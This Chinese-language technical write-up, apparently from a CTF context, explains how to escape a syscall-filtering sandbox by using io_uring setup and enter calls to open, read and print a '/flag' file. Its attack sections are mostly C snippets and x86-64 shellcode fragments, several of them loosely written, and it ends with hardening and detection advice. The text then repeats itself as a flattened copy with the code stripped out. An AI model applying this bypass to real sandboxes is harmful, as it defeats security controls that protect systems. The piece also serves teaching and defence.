深入探索:利用 io_uring 实现高效的 Shellcode 攻击
字数 1456 2025-08-22 12:23:18

利用 io_uring 实现高效的 Shellcode 攻击技术详解

1. io_uring 技术基础

1.1 io_uring 概述

io_uring 是 Linux 内核于 2019 年引入的一种新型异步 I/O 模型,旨在通过减少系统调用和上下文切换的开销来显著提高 I/O 操作性能。其核心特点包括:

  • 使用环形缓冲区实现高效的事件驱动机制
  • 支持批量提交和完成 I/O 操作
  • 减少用户态与内核态之间的数据拷贝
  • 提供高性能的异步 I/O 操作接口

1.2 io_uring 核心系统调用

io_uring 主要依赖两个关键系统调用:

  1. io_uring_setup (系统调用号 425)

    int io_uring_setup(unsigned entries, struct io_uring_params *params);
    
    • entries: 指定环形缓冲区大小(必须是2的幂,范围1-4096)
    • params: 用于传递参数和获取返回信息
  2. io_uring_enter (系统调用号 426)

    int io_uring_enter(unsigned int fd, unsigned int to_submit, 
                      unsigned int min_complete, unsigned int flags, 
                      sigset_t sig);
    
    • fd: io_uring_setup 返回的文件描述符
    • to_submit: 要提交的SQE数量
    • min_complete: 要求内核等待完成的请求数量
    • flags: 控制调用行为的标志位

1.3 io_uring 内存映射区域

io_uring 使用三个关键的内存映射区域:

#define IORING_OFF_SQ_RING  0ULL          // 提交队列环(SQ Ring)
#define IORING_OFF_CQ_RING  0x8000000ULL  // 完成队列环(CQ Ring)
#define IORING_OFF_SQES     0x10000000ULL // 提交队列条目数组(SQEs)

2. 绕过沙箱限制的技术分析

2.1 沙箱限制分析

示例中的沙箱规则禁止了几乎所有常见的文件操作系统调用:

  • 基本文件操作:read, write, open
  • 扩展文件操作:pread64, pwrite64, readv, writev
  • 网络相关:sendfile, sendto, sendmsg
  • 执行相关:execve, execveat
  • 其他高级操作:openat, preadv, pwritev等

2.2 io_uring 绕过原理

由于沙箱未禁止 io_uring 相关系统调用(425和426),可以利用它们实现:

  1. 通过 io_uring_setup 初始化异步I/O环境
  2. 使用 io_uring_enter 提交特殊构造的I/O请求
  3. 利用 IORING_OP_OPENAT, IORING_OP_READ, IORING_OP_WRITE 等操作码实现文件操作

3. 攻击实现步骤详解

3.1 初始化 io_uring 环境

struct io_uring_params params = {};
int uring_fd = syscall(SYS_io_uring_setup, 16, &params);

// 映射三个关键内存区域
unsigned char *sq_ring = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, 
                            MAP_SHARED, uring_fd, IORING_OFF_SQ_RING);
unsigned char *cq_ring = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE,
                            MAP_SHARED, uring_fd, IORING_OFF_CQ_RING);
struct io_uring_sqe *sqes = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE,
                               MAP_SHARED, uring_fd, IORING_OFF_SQES);

3.2 构造并提交 OPENAT 请求

sqes[0] = (struct io_uring_sqe){
    .opcode = IORING_OP_OPENAT,
    .flags = IOSQE_ASYNC,
    .addr = "/flag",
    .open_flags = O_RDONLY,
};

// 更新SQ环指针
((int *)(sq_ring + params.sq_off.array))[0] = 0;
(*(int *)(sq_ring + params.sq_off.tail))++;

// 提交请求
syscall(SYS_io_uring_enter, uring_fd, 1, 1, 
        IORING_ENTER_GETEVENTS, NULL, 0);

// 获取结果
struct io_uring_cqe *cqe = (void *)(cq_ring + params.cq_off.cqes);
int opened_fd = (int)cqe->res;

3.3 构造并提交 READ 请求

sqes[0] = (struct io_uring_sqe){
    .opcode = IORING_OP_READ,
    .fd = opened_fd,
    .addr = buffer,
    .len = 100,
};

// 更新并提交
((int *)(sq_ring + params.sq_off.array))[0] = 0;
(*(int *)(sq_ring + params.sq_off.tail))++;
syscall(SYS_io_uring_enter, uring_fd, 1, 1, 
        IORING_ENTER_GETEVENTS, NULL, 0);

3.4 构造并提交 WRITE 请求

sqes[0] = (struct io_uring_sqe){
    .opcode = IORING_OP_WRITE,
    .fd = 1,  // stdout
    .addr = buffer,
    .len = 100,
};

// 更新并提交
((int *)(sq_ring + params.sq_off.array))[0] = 0;
(*(int *)(sq_ring + params.sq_off.tail))++;
syscall(SYS_io_uring_enter, uring_fd, 1, 3, 
        IORING_ENTER_GETEVENTS, NULL, 0);

4. Shellcode 实现技巧

4.1 寄存器利用

mov rbp, rdx
add rbp, 0xa00  ; 设置基址指针
mov rbx, rbp
sub rbx, 0xf0   ; 预留空间

4.2 系统调用封装

; io_uring_setup
mov r12, [rbp-0x118]
xor rax, rax
sub rsp, 8
push 0
mov rax, 425    ; SYS_io_uring_setup
mov rdi, 16     ; entries
mov rsi, rbx    ; params
syscall
add rsp, 0x10

4.3 内存操作

; 映射SQ环
mov r13, rax    ; 保存uring_fd
mov rdi, 0      ; addr
mov rsi, 1000   ; length
mov rdx, 3      ; PROT_READ|PROT_WRITE
mov r10, 1      ; MAP_SHARED
mov r8, r13     ; fd
mov r9, 0       ; offset (IORING_OFF_SQ_RING)
mov rax, 9      ; SYS_mmap
syscall
mov [rbp-0x110], rax  ; 保存sq_ring指针

5. 防御与检测建议

  1. 沙箱加固

    • 禁止io_uring相关系统调用(425, 426)
    • 限制mmap和mprotect的使用
  2. 行为监控

    • 监控非常规文件操作路径
    • 检测异常的io_uring使用模式
  3. 内核加固

    • 启用io_uring的权限检查
    • 限制非特权用户的io_uring访问
  4. 代码审计

    • 检查shellcode中的系统调用模式
    • 分析异常的异步I/O操作序列

6. 总结

io_uring作为高性能I/O接口,其强大的功能也可能被恶意利用绕过安全限制。本文详细分析了如何利用io_uring实现沙箱逃逸和文件操作的技术细节,包括:

  1. io_uring的基本原理和系统调用
  2. 绕过沙箱限制的具体方法
  3. 完整的攻击实现流程
  4. Shellcode编写技巧
  5. 防御建议

安全研究人员和系统管理员应充分了解这些技术,以便更好地防御此类高级攻击。

利用 io_ uring 实现高效的 Shellcode 攻击技术详解 1. io_ uring 技术基础 1.1 io_ uring 概述 io_ uring 是 Linux 内核于 2019 年引入的一种新型异步 I/O 模型,旨在通过减少系统调用和上下文切换的开销来显著提高 I/O 操作性能。其核心特点包括: 使用环形缓冲区实现高效的事件驱动机制 支持批量提交和完成 I/O 操作 减少用户态与内核态之间的数据拷贝 提供高性能的异步 I/O 操作接口 1.2 io_ uring 核心系统调用 io_ uring 主要依赖两个关键系统调用: io_ uring_ setup (系统调用号 425) entries : 指定环形缓冲区大小(必须是2的幂,范围1-4096) params : 用于传递参数和获取返回信息 io_ uring_ enter (系统调用号 426) fd : io_ uring_ setup 返回的文件描述符 to_submit : 要提交的SQE数量 min_complete : 要求内核等待完成的请求数量 flags : 控制调用行为的标志位 1.3 io_ uring 内存映射区域 io_ uring 使用三个关键的内存映射区域: 2. 绕过沙箱限制的技术分析 2.1 沙箱限制分析 示例中的沙箱规则禁止了几乎所有常见的文件操作系统调用: 基本文件操作:read, write, open 扩展文件操作:pread64, pwrite64, readv, writev 网络相关:sendfile, sendto, sendmsg 执行相关:execve, execveat 其他高级操作:openat, preadv, pwritev等 2.2 io_ uring 绕过原理 由于沙箱未禁止 io_ uring 相关系统调用(425和426),可以利用它们实现: 通过 io_ uring_ setup 初始化异步I/O环境 使用 io_ uring_ enter 提交特殊构造的I/O请求 利用 IORING_ OP_ OPENAT, IORING_ OP_ READ, IORING_ OP_ WRITE 等操作码实现文件操作 3. 攻击实现步骤详解 3.1 初始化 io_ uring 环境 3.2 构造并提交 OPENAT 请求 3.3 构造并提交 READ 请求 3.4 构造并提交 WRITE 请求 4. Shellcode 实现技巧 4.1 寄存器利用 4.2 系统调用封装 4.3 内存操作 5. 防御与检测建议 沙箱加固 : 禁止io_ uring相关系统调用(425, 426) 限制mmap和mprotect的使用 行为监控 : 监控非常规文件操作路径 检测异常的io_ uring使用模式 内核加固 : 启用io_ uring的权限检查 限制非特权用户的io_ uring访问 代码审计 : 检查shellcode中的系统调用模式 分析异常的异步I/O操作序列 6. 总结 io_ uring作为高性能I/O接口,其强大的功能也可能被恶意利用绕过安全限制。本文详细分析了如何利用io_ uring实现沙箱逃逸和文件操作的技术细节,包括: io_ uring的基本原理和系统调用 绕过沙箱限制的具体方法 完整的攻击实现流程 Shellcode编写技巧 防御建议 安全研究人员和系统管理员应充分了解这些技术,以便更好地防御此类高级攻击。